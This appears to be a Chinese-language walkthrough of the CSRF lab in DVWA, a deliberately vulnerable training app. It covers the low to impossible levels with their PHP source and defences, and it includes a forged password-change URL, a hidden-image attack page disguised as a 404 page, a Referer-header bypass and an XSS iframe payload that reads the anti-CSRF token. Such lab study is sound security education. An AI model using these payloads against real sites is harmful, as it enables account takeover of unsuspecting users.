CSRF:
介紹
CSRF跨站點請求偽造(Cross—Site Request Forgery),跟XSS攻擊一樣,存在巨大的危害性,你可以這樣來理解:
攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發送郵件、發消息,盜取你的賬號,添加系統管理員,甚至于購買商品、虛擬貨幣轉賬等。 如下:其中Web A為存在CSRF漏洞的網站,Web B為攻擊者構建的惡意網站,User C為Web A網站的合法用戶。
防御:
CSRF是跨站請求偽造攻擊,XSS是實現CSRF的諸多手段中的一種,是由于沒有在關鍵操作執行時進行是否由用戶自愿發起的確認。修復方式:篩選出需要防范CSRF的頁面然后嵌入Token、再次輸入密碼、檢驗Referer XXE是XML外部實體注入攻擊,XML中可以通過調用實體來請求本地或者遠程內容,和遠程文件保護類似,會引發相關安全問題,例如敏感文件讀取。修復方式:XML解析庫在調用時嚴格禁止對外部實體的解析。
low
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
查看代碼可發現:沒有任何的語句過濾,只要判斷原密碼和新密碼相同就可修改密碼
利用:
可構造url:
http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
123456就是新的密碼,受害者點擊鏈接以后他的密碼就會變成123456。限制也有很多:前提是受害者短時間內(cookie有效期)內登陸過此站,而且這個url也過于明顯,并且會直接進入到密碼修改成功的頁面,從而知道自己的頁面被篡改
注意:CSRF最關鍵的是利用受害者的cookie向服務器發送偽造請求,所以如果受害者之前用Chrome瀏覽器登錄的這個系統,而用搜狗瀏覽器點擊這個鏈接,攻擊是不會觸發的,因為搜狗瀏覽器并不能利用Chrome瀏覽器的cookie,所以會自動跳轉到登錄界面。
鏈接過于明顯的問題可以用短鏈生成工具解決
雖然最后還是不可避免跳轉到顯示密碼修改成功的頁面
構造攻擊頁面:
現實攻擊場景下,這種方法需要事先在公網上傳一個攻擊頁面,誘騙受害者去訪問,真正能夠在受害者不知情的情況下完成CSRF攻擊。這里為了方便演示(才不是我租不起服務器= =),就在本地寫一個test.html,下面是具體代碼。
<img src="http://http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
使用效果:
當受害者訪問test.html時,會誤認為是自己點擊的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為了123456。
middle:
源碼:
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
相比low級別, 增加了referer認證
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
嘗試修改密碼:
密碼修改為123 ,
再次嘗試與low相同的url:
產生報錯
抓包:
包中有referrer 字段驗證
再對直接用url進入進行抓包
沒有referer字段
將字段加入到包中forward
結果可以修改密碼為456成功
high
照例在url框中修改密碼為456,
返回失敗 ,顯示taken驗證錯誤, 抓包:
對比正常方式抓包:
有taken認證:
解釋:
High級別的代碼加入了Anti-CSRF token機制,用戶每次訪問改密頁面時,服務器都會返回一個隨機的token,當瀏覽器向服務器發起請求時,需要提交token參數,而服務器在收到請求時,會優先檢查token,只有token正確,才會處理客戶端的請求。這里因為對請求的token進行了驗證,所以比上兩個等級的更加的安全。
可以看到token在url中(GET請求)
而且這個token是隨機生成,不可以直接拿來復制粘貼使用的
又由于同源策略,即使盜取了這個生成的token(構建網頁鏈接發送token),不在同源下的腳本也會被拒絕請求
通過xss的方式拿token:
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe
>
存儲型XSS插入到數據庫中,這語句會彈出用戶的token
impossible
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>
此時驗證必須要先得到用戶的原密碼才能修改新密碼,impossible!